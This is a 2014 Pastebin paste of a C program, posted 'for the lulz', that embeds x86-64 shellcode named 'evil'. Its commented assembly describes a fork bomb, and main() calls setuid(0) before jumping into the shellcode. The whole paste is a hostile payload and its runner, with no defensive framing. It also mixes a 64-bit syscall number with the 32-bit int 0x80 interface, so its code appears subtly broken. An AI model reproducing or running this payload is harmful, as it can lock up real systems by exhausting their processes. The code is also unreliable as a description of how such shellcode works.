Madmouse

for the lulz 64bit

Sep 16th, 2014
333
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.89 KB | None | 0 0
  1. // ----------------------------------------------------------------------------
  2. // "THE BEER-WARE LICENSE" (Revision 43):
  3. // <[email protected]> wrote this file. As long as you retain this notice you
  4. // can do whatever you want with this stuff. If we meet some day, and you think
  5. // this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  6. // ----------------------------------------------------------------------------
  7. /*
  8. global _start
  9. section .text
  10.  
  11. _start:
  12. ; fork(void);
  13.     xor rax, rax
  14.     mov al,0x39
  15.     int 0x80
  16.     cmp rax,1
  17.     jl fork
  18. ; exit(0);
  19.     xor rax,rax
  20.     mov al,0x3c
  21.     xor rdi,rdi
  22.     syscall
  23. fork:
  24.     mov al, 0x39
  25.     int 0x80
  26.     jmp short fork
  27.  
  28. */
  29. const char evil[] = "\x48\x31\xc0\xb0\x39\xcd\x80\x83\xf8\x01\x7c\x0a\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xb0\x39\xcd\x80\xeb\xfa";
  30.  
  31. typedef void (*shellcode)(void);
  32. void main(void)
  33. {
  34.     setuid(0);
  35.     ((shellcode)evil)();
  36. }
Advertisement
Add Comment
Please, Sign In to add comment